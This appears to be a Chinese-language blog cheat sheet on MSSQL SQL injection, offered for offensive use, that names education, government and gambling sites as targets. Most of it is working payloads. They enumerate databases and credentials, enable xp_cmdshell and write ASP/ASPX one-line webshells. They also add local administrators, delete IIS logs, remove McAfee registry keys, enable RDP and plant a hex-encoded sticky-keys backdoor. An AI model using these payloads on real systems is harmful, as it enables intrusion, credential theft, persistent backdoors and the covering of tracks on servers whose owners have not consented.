0x12.mssql注入

发布时间 2023-12-26 16:04:04作者: TrasoOn3r

基本判断

  • 常见搭配
    • asp+sqlserver
    • aspx+sqlserver
  • 适用于
    • 教育网站 edu
    • 政府网站 gov
    • 棋牌网站
    • 游戏网站
  • 后缀
    • a.mdf 数据库文件
    • a_log.ldf 日志文件
    • 若脱库,两个文件都要下才能在本地打开
  • 权限
    • sa----->system
    • db owner----->administrators
    • public----->guest

注入

常用union注入和报错注入,其他注入就交给工具了

Union注入

  • mssql注入和mysql注入的区别:
    • 优先考虑union all select,效率更高。union select会去除重复项,但有时候会报错
    • mssql要求数据类型要相匹配,order by之后,先填充,id=1 union all select 1,2,3。然后用单引号将每一个都包裹一遍,id=1 union all select 1,2,'3',判断是字符型还是整形。如果返回正常,说明是字符型
db_name()   #数据库名
(select name from master.dbo.sysdatabases where dbid=1)   #列数据库名,可遍历dbid
(select name from master.dbo.sysdatabases for xml path)   #列所有数据库名

#列第一个表名,得到test
(select top 1 name from(select top 1 name from sysobjects where xtype=0x75 order by name)t order by name desc)
#列第二个表名,得到manage
(select top 1 name from(select top 2 name from sysobjects where xtype=0x75 order by name)t order by name desc)

(select col_name(object_id('manage'),1))   #列manage表的列名,可遍历1这个位置

union all select 1,username,'3',4 from manage  #列数据
union all select 1,pssword,'3',4 from manage

报错注入

#1.判断是否有注入,方法一样的
and 1=1
and 1=2
/
-0
#2.初步判断是否是 mssql,如果出现dbo,则就是mssql
and user>0
#3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
#4.数据库版本
id=1 and 1=(select @@version)

#5.当前使用的数据库,括号里填写数字,可以fuzz出来其他数据库
id=1 and 1=(select db_name())
#6.一个一个列数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4)//得到admin数据库,4是因为系统自带的数据库.也可以通过fuzz dbid
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> 'admin')//列第二个,得到user数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name <> 'admin' and name <> 'user')//列第三个
#7.列所有数据库
and 1=(select name from master..sysdatabases for xml path)

#8.一个一个列表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')//得到users表
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name <> 'users')
#9.列所有表
?id=1 and 1=(select name from sysobjects for xml path)

#10.列表的列名
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname')
#11.列表的所有列名
?id=1 and 1=(select name from syscolumns where id =(select id from sysobjects where name = 'users') for xml path)

#12.列数据
?id=1 and 1=(select top 1 uname from users)

权限判断

and 1=(select is_srvrolemember('sysadmin')) // 判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) // 判断是否是库权限
and 1=(select is_srvrolemember('public')) // 判断是否为 public 权限
and 1=convert(int,db_name()) 或 1=(select db_name()) // 当前数据库名
and 1=(select @@servername) // 本地服务名
and 1=(select HAS_DBACCESS('master')) // 判断是否有库读取权限

SQLServer的存储过程

sp_addlogin 创建新的 SQL server 登录,该登录运行用户使用 SQL server 身份验证连接到 SQL server 实例
sp_dropuser 从当前数据库中删除数据库用户
xp_enumgroups 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义的全局组列表
xp_regwrite 未被公布的存储过程 ,写入注册表
xp_regread 读取注册表
xp_regdeletevalue 删除注册表
xp_dirtree 读取目录
sp_password 更改密码
xp_servicecontrol 停止或激活某服务

sa权限利用

修改网站管理员密码

  • 修改之前,把原来的密码备份。通常在密码解不出来的情况使用
  • 将管理员表 admin 中 cracer 用户的密码设置为经过md5加密的密码
  • ;update admin set pass=‘e8dc763194f29433’ where admin=‘cracer’
  • 退出后台后,再将密码改回来

getshell

2008以下适用,2008以上不存在该存储过程:

  • ;EXEC sp_configure 'show advanced options',1;RECONFIGURE;;exec sp_configure 'Web Assistant Procedures', 1; RECONFIGURE将需要调用的进程修复
  • id=1%20;exec%20sp_makewebtask%20%20%27C:\Inetpub\wwwroot\8005\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--写入一句话

2008以上也适用(通用),调用xp_cmdshell:

  • 一般直接恢复,执行命令
检测与恢复扩展存储
#判断 xp_cmdshell 扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell')
#判断 xp_regread 扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
#恢复,调用一条即可
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
或;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
  • xp_cmdshell执行命令,如果目标是2k8,一定要注意密码的复杂度
新建用户:
;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators test /add'
操控日志:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log '

Getshell:
echo ^<%Execute(request("a"))%^> > d:\www\123.asp
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

操作注册表:很容易崩
删除注册表
reg delete HKLM\SOFTWARE\McAfee /f
导入注册表
Regedit /s d:\web\zh\hp.reg
导出注册表
regedit /e d:\web\zhao\aaa.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp"

注册表操作、后门

  • 启用存储过程
启用存储过程
exec sp_addextendedproc xp_regread,'xpstar.dll'
;exec master.dbo.sp_addextendedproc0x780070005f007200650067007200650061006400,0x7800700073007400610072002e0064006c006c00—

exec sp_addextendedproc xp_regwrite,'xpstar.dll'

后门:

  • 开启3389
#比较好使,cmd中执行,可以放在批处理里面
;exec master..xp_cmdshell 'sc config termservice start=auto' 
;exec master..xp_cmdshell 'net start termservice' 
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f'  

#需要用户权限,cmd不一定能开
;exec master..xp_cmdshell "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"--
  • 写入后门,按下5下shift调出任务管理器,explorer.exe直接进
exec xp_regwrite 
0x484b45595f4c4f43414c5f4d414348494e45,0x534f4654574152455c4d6963726f736f66745c57696e646f7773204e545c43757272656e7456657273696f6e5c496d6167652046696c6520457865637574696f6e204f7074696f6e735c73657468632e657865,0x6465627567676572,0x5245475f535a,'c:\\windows\\system32\\taskmgr.exe'--

创建sqlserver管理

添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

系统服务操作

停掉或激活某个服务。 (需要SA权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

dbo权限利用

或者使用t00ls工具getwebshell增强版

1.判断数据库用户权限 
and 1=(select is_member('db_owner'));--
2.搜索web目录 
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
然后 
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--
and(select dir from temp where id=1)>0
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹

找到web目录后,就可以写入一句话木马了 
;alter database ssdown5 set RECOVERY FULL 
;create table test(str image)-- 
;backup log ssdown5 to disk='c:\test' with init-- 
;insert into test(str)values ('<%excute(request("cmd"))%>')-- 
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'-- 
;alter database ssdown5 set RECOVERY simple